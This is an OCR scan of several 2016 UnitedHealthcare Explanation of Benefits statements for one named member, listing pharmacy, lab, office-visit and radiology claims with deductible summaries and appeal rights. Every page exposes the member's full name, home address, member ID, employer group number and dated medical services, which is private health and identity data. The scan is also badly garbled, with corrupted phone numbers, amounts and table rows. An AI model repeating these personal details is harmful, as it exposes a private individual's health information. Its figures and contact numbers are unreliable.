Visit www.myuhc.com for all your claim and benefit information. Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify youlthat we processed your claim. Claims Summary Detailed claim inforrnation is located on the following page(s). =­ Dollar Amount _i;>escription . ---­ Amount Billed · . $375.00 This is the total amount that your provider biled for th.e services that were,provided~ 'I Plan Discounts . , $156.51 Your plan negotiates dis.counts with providers to,save you money. Thjs amount miily also include services that you are not responsible to pay. · ·. . · · " · '.. · · ­ ' . . .,_1 .....,. .Your Plan Paiq ', , I , 0 · . $218.49 T_his is the portion of the amount bilfed that was paid by your plan. ; · •• 1 -= _ Total amount you.owe the providelis) ct --.• --=--: -::=oc.• • . ~The portion of the Amount Billed you owe the provider(s).-Jhis amou11t does not reflect any_..:_. •. 'F' -$0.00 , paynJent you may have already~made.at the til]1byou recejved cace.-l,his c!mOl:ll'lj, may include~p~.t·):, 7 . -.-~· deductible, co-pay, coinsurance and/or non.cov~red charges. Thi~~aqiou11t does~·~ 1,.Jn61~de.1.1nf-=­; _~ -•. _·. · ;,_, payments made to the.subscribe,.., Sf a payment was made dir.ectly_to_the su~criber, yov/the -,,­subscriber is responsible for ~ying the ptwsician, facility or other health care p~fessional. . • When coordination.otbenefi~ applies, th_is amount will indude paymen~ m~e to the subscnbe_L· -·------­ ' JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 December 22, 2016 Member/Patient Information Member/Patient: JEFFREY OAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Page 1 of 4 STD-EOB Use this EOB statement as a referenc or retain as needed 000001147367498 S WL-Zl531 '03•11648$.M0-1Ei0:27-&1311-AFUS 22SYMS -iu UnitedHealthcare t.19A-C-.-~ United HealthCare Services),,. Inc. GREENSBORO SERVICE \.,ENTER January 27, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE :... IN,NETWORK' ·'· '· ...­ Deductible $0.00 $700.00 Out of Pocket $1 ,461 .61 $3,538.39 w Deductible $1,400.00 $413.00 $987.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Annual (-)Applied to ("')Remaining FAMILY Amount Date Balance IN-NETWORK . ,.. Deductlble $1,400.00 $0.00 --=:=­ J $1,400.00 Out of Pocket $10,000.00 $1 ,461.61 $6,536.39 .OUT OF NITT;WORK Deductible -.­$2,600.00 ... $0.00 ,>= $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as or this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Vear. The dates your plan benefit maximums are applicable. Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 6 of 6 Use this EOB statement as a reference or retain as needed S WL-22S31 '03"118485-M0-16027-8'J311-AFUS 22SYMS United HealthCare Services;. Inc. January 27, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA.. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration -You can·registenrnd-b•eginusing myuhc·in-the-same-session. Navigate-to www.myuhc.com-to-register. The informatioruequired for reg·stration is on oy_r insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Page 5 of 6 STD-EOB Use this EOB statement as a reference or retain as needed 000000889538145 SWl-22531'02•118484-M0-18027./30311-AFUS 22SYMS UnitedHealthcare tmA-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER January 27, 2016 PO BOX 740809 ATLANTA.,, GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956122700501 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes• Amount Billed (·) Plan Discounts l (·) our Plan Paid t > Deductiole Your Itemized Res onsibilit to Provider-• (+) Copay (+) Coinsurance (-r) Non Covered (-) Amount You Owe 01/25/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $749.44 $749.44 .0 $0.00 0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Notes* FB • THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOW THE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your daim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000000889536145 S WL,22531"02•116483-M0-16027-00311•Al'US 22SYMS UnitedHealthcare lWA--Cil<>;,~ United HealthCare Services,1,.Inc. GREENSBORO SERVICE vENTER January 27, 2016 PO BOX 740809 ATLANTA,.. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956080178901 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibility to Provider"* Date(s) of Type of Service Notes• Amount Plan Xour Plan Amount You Service Billed (-) Discounts (-) 1 Paid ' -(: ) Deductible (+) Copay (+) Coinsurance (+) l\on Covered(=) Owe 01/25/2016 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Claim Total: $0,00 $0.00 $0.00 $0.00 $7.00 $0.00 $0.00 $7.00 -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956122210901 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Your Plan Service Billed (-) Discounts (-) I -, Paid 01/25/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 ... This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 3 of~ Use this EOB statement as a reference or retain as needed SWl.·22531"01.118482-M0·18J27-«l311-AFUS 22SYMS UnitedHealthcare llJ A-IA4>~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER January 27, 2016 PO BOX 740809 ATLANTA_..GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number. 955816860501 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan Y--oud lan Amount You ~Paid Service Billed (-) Discounts (-) (=) Deauct1ble (+J Copay (+) Coinsurance (+) Non Covered (=) Owe 01/21/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0,00 $0.00 $0.00 $0.00 $7,00 $0,00 $0.00 $7.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a paymenl Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 955921749101 Patient Account Number: CAR PHARMACY CLM Your Itemized Re onsibili to Provider** Date{s) of Type of Service Notes• Amount Plan Amount You (-)t Service Billed (-) Discounts Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe 01/22/2016 PRESCRIPTION FB $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $5.55 $0.00 $0.00 $5.55 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 6 Use this EOB statement as a reference or retain as needed I S WL-22531 '01'116481-M0-16027-60311°AFUS 22SYMS ~ A~~~~ealthcar~ United HealthCare Services,1, Inc. GREENSBORO SERVICE 1,.,ENTER PO BOX 7 40809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 027MEOBSW2002003·08642-03 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 January 27, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201 057 STD-EOB Page 1 of 6 Use this EOB statementas a referenc1 or retain as needed 000000889538145 S VK-13050"04"0B2772-MO-16105-60311-AFUS 12SYMS UnitedHealthcare l!ll A~[),q,Cm:pany United HealthCare Services.._ Inc. GREENSBORO SERVICE "ENTER Aplil 14, 2016 PO BOX 740609 ATLANTA,. GA 30374-0602 Have more questions about your claim? Phone: 1-o00-638-8664 Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the f,xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of 8 000000954899247 S VK-13050'04'062771-M0-16105-80311-Al'US 12SYMS UnitedHealthcare'11lA--""'-4>~ United HealthCare Services;.. Inc. GREENSBORO SERVICE '-'ENTER PO BOX 740809 April 14, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00.63S.8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your plivacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. ----------·-·-.--• ---------·-·--·--Account~Summacy- Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE 'INNE'JWORK -----' -:J IN NE1WORK $1,400.00 $700.00 $700.00 Deductible Deductible Out of Pocket $700.00 $700.00 Met $10,000.00 $4,094.20 $5,905.80 Out of Pocket $5,000.00 $4,094.20 $905.80 ;oijT O~ NETWORK · ::~~i: .. ··--' ·--;-.· r •: ,u -:1 ·ouT.OF f;,!i;lWORK . • ::'l. !~ . I I •. ~ l ",i.l J ...;!£~:...t• ' $2,800.00 $0.00 $2,800.00 ,'.. ' l" _ :>.;t,, I • , I -. i:!:f= I • .~ • ,'~~ Deductible Deductible Out of Pocket $1 ,400.00 $577.00 $823.00 $15,000.00 $0.00 $15,000.00 $7,500.00 $0.00 $7,500.00 Out of Pocket STD-EOB Page 7 of 8 Use this EOB statement as a reference or retain as needed S VK.13050"03"062770•MO•16105·60311·AFUS 12SYMS UniteclHealthcare di AI.Hmlltmt,Gn.,9~ United HealthCare Services,_ Inc. GREENSBORO SERVICE 1.,ENTER April 14, 2016 PO BOX 740809 ATLANTA,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit infonnation. 09 -THE NUMBER OF UNITS REPORTED EXCEEDS THE TYPICAL FREQUENCY PER DAY. THEREFORE, THE NUMBER OF UNITS THAT EXCEED THE TYPICAL FREQUENCY PER DAY ARE NOT BEING CONSIDERED. IF THE PROVIDER HAS ADDITIONAL DOCUMENTATION, PLEASE SEND IT TO US FOR CONSIDERATION. IF THIS IS A RENTAL, A SINGLE RENTAL PAYMENT COVERS A FULL CALENDAR MONTH FOR DURABLE MEDICAL EQUIPMENT, ORTHOTICS AND PROSTHETICS AND IS ALLO\11/ED ONCE PER CALENDAR MONTH. THE ADDITIONAL UNITS FOR THE RENTAL OF THIS ITEM HAVE BEEN DENIED AS EXCEEDING THESE LIMITS. You have the right to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your ciaim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your daim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 8 S VK-13050"03•062769·MO-16105-60311-AFUS 12SYMS UnitedHealthcareIll) A-""4>~ United HealthCare Services;. Inc. GREENSBORO SERVICE L-ENTER April 14, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 591953308801 Patient Account Number: 001500754981 Date(s) of Type of Service Notes• Amount Plan I Your P.'lan Service Billed (-) Discounts (-) Pa.Id · ~ (=) 04/01/2016 LABORATORY 09 $19.00 $19.00 $0.00 SERVICES Claim Total: $19.00 $19.00 $0.00 ....This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 591953308802 Patient Account Number: 001500754981 I Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount --Pan Amount You Service Billed (-) Discounts DedJctrble (+) Copay (+) Curm,Jrance (+) Non Covered(=) Owe , t I 11 04/01/2016 OFFICE VISITS 09 $199.00 $199.00 $0.00 $0.00 $0.00 $0.00 $0.00 Claim Total: $199,00 $199.00 $0.00 $0.00 $0.00 $0.00 $0.00 ""This total does not reflect any payments / copays you made at the time of service. - Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE. MAY INCLUDE Wl-lAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WE.BSITE OR PLAN DOCUMENTS. STD-EOB Page 5 of 8 Use this EOB statement as a reference or retain as needed S VK-13050'02"062768-M0-16105-60311-AFUS 12SYMS UnitedHealthcare f!JA-0..,,~ United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER April 14, 2016 PO BOX 740809 ATLANTA;. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: 0 MEYER Claim Number: 592471999301 Patient Account Number: OAMUKI0000 Your Itemized Res nsibilit to Provider*" Date(s) of Type of Service Notes* Amount Plan Amount YoLl Service Billed (-) Discounts Owe 03/24/2016 OFFICE VISITS 01 $140.00 $77.75 03/24/2016 MEDICAL 01 $125.00 $55.25 SERVICES Claim Total: $265.00 $133.00 $118.81 $0.00 $0.00 $13.19 $0.00 $13.19, .,.This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: GATEWAY DIAGNOSTIC Claim Number: 592500613701 Patient Account Number: GDl37042 Your Itemized Res onsibilit to Provider** Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts ~;:.vour-Plan (-) ;i;• Paid-.. (=) Deduct,ole (+J Copay Amount You (+) Coinsurance (+) Non Cov1=red (=) Owe 04/06/2016 RADIOLOGY 01 $1,857.00 $711.66 $1,030.81 0.00 0.00 114.53 SERVICES 04/06/2016 RADIOLOGY 01 $210.00 $188.70 $19.17 $0.00 $0.00 $2.13 $0.00 SERVICES Claim Total: $2,067.00 $900.36 $1,049.98 $0.00 $0.00 $116.66 $0.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 4of 8 Use this EOB statement as a reference or retain as needed 000000954899247 J S VK-t3050"02"06276H,I0-16\0S.Ql31 I-AFUS 12SYMS UnitedHealthcareGIA-°"(>~ United HealthCare Services;,. Inc. GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.a.GA 30374-0802 Phone: 1-o0Q-.638--8884 April 14, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 001500754981 Claim Number: 591551434001 Provider: K ZIESER Date(s) of Service Type of Service Notes• Amount Billed (-) Plan Discounts (-) 'four Pian ·' 1 Pald .. : (=) ! Deductible Your Itemized Re onsibilit to Provider"* (+) Copay (+) Coinsurance (+) Nun Covered (=) Amount You owe 04/01/2016 LABORATORY SERVICES Claim Total: D1 $19.00 $19.00 $16.00 $16.00 $2.70 $2.70 $0.00 $0.00 $0.30 so.oo I $0.30 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Claim Number: 592291826301 Patient Account Number: MK022368 Provider: G POWELL Date(s) of Service Type of Service Notes• Amount Billed -(-) ~ Plan-­Discounts -H Your Pum·­-Paid (=) Dedc1ctible Your Itemized Res onsibilit to Provider** Amount You (+) Copay (+) Coinsurance (+) Non Covered (~) Owe 04/05/2016 OFFICE VISITS Claim Total: D1 $175.00 $175.00 $96.08 $96.08 $71 .03 $71.03 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Page 3 of 8 STD-EOB Use this EOB statement as a reference or retain as needed 0000009S4899247 S Vl(-13050"01 "082786-M0-18105-E0311-AFUS 12SYMS United HealthCare Services;..Inc. GREENSBORO SERVICE 1...ENTER April 14,2016PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: T NICHOLS Claim Number: 591590953201 Patient Account Number: 5319C44 Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes• Amount Plan Amount You Ij our•P"!"an Service Billed (-) Discounts (-) -Paid . I(=> Deductiole (+) Copay (+) Co,nsurance (+) Non Covered(=) Owe 1 l 02/01/2016 OFFICE VISITS D1 $75.00 $27.34 $42.89 Claim Total: $75.00 $27.34 $42.89 $0.00 $0.00 $4.77 $0.00 ••This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 591744658601 Patient Account Number: 001500754981 Your Itemized Res onsibility to Provider"* Date(s) of Type of Service Notes• Amount Plan I .~~rPlan Amount You Service Billed (-) Discounts H' · ~ Patd {=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (~) Owe 04/01/2016 OFFICE VISITS Claim Total: D1 $199.00 $199.00 $73.91 $73.91 $112.58 $112.58 $0.00 $0.00 $0.00 $0.00 $12.51 $12.51 $0.00 $0.00 ••This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD•EOB Use this EOB statement as a reference or retain as needed Page 2 of 8 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 I S VK-13050'01-062766-M0-16105-60311-AFUS 12SYMS JA~2!1!~~ealthcar~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. April 14, 2016 JEFFREY DAMUKAITIS Member/Patient Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 LITTLE ELM, TX 75068 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summbry Detailed claim information is located on the following page(s). , " :Plan Discounts ,· ·· :-_j -. ..., . . ·; , ·:. . . . _ .. . -:·. -,. ­ • '. fv~ . ·.. ·$1,464,69: You~ plan ~egotiates discounts w(th p·ipylq~fS'lo's·a:ve ~~'monE\y:-Thi! am~nt may also:,~n,~~~! ·. '" -~-· · · ' STD-EOB Page 1 of 8 Use this EOB statement as a referenc I or retain as needed 00000095489\l247 S VG-06564'03'031897-M0-16284-00311-AFUS 32SYCP UnitedHealthca.re IJll A-~tl>nw¥ United HealthCare Services;,. Inc. GREENSBORO SERVICE l-ENTER October 10, 2016 PO BOX 740809 ATLANTA.,,. GA 30374-0802 Phone: 1-o00--638-8884 Have more questions about your claim? Visit www.myuhc.com for an your claim and benefit information. Maintaining the privacy and security of individuals' personal infonnation is very important to us at United Healthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infom,ation regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE IN1NETWORK I l '; .f\., Deductible $700.00 $700.00 Met Out of Pocket OUT OF NETWORK $5,000.00 $5,000.00 Met OUT.'0F NETWORK­' . -Deductible ~ $2,800.00 :,J, ··,­$0,00 - . (, -1 $2,800.00 Deductible 1,400.00 577.0 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. ST0-EOB Page 5 of 5 Use this EOB statement as a reference or retain as needed S VG-06564-02"031896-M0-16284-60311·AFUS 32SYCP Unit.ec!Healthcarel}J)Alnlldtdh~~ United HealthCare Services,.. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 October 10, 2016 ATLANTA,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. If your plan is governed by ERISA, you may have the rtght to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authortzed representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Securtty Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescrtptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 S VG.08564'02'031895-M0-18284-00311-AFUS 32SYCP United HealthCare Services;,. Inc. GREENSBORO SERVICE vENTER October 10, 2016 PO BOX 740809 ATLANTA .. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: ENVISION IMAGING AT Claim Number: 615903773203 Patient Account Number: HIP465624 Your Itemized Res onsibili to Provider** Amount You Service Billed (-) Discounts (-) , Paid (=) Deductiole (+) Copay (..-) Coinsurance (-t-) Non Covered (=) Date(s) of Type of Service Notes• Amount Plan YourPlan I Owe .. I 09/22/2016 RADIOLOGY D1 $216.00 $120.33 $95.67 SERVICES $0.00 $0.00 $0.00 $0.00 Claim Total: $216.00 $120.33 $95.67 $0.00 **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: G POWELL Claim Number: 617217287901 Patient Account Number: MK032064 Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes* -Amount -p1an Amount You Service Billed (-) Discounts (-) Ueductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe ­ 09/28/2016 OFFICE VISITS D1 $175.00 $96.08 $78.92 Claim Total: $176.00 $96.08 $78.92 Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU 0\/1/E MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER \/1/EBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for 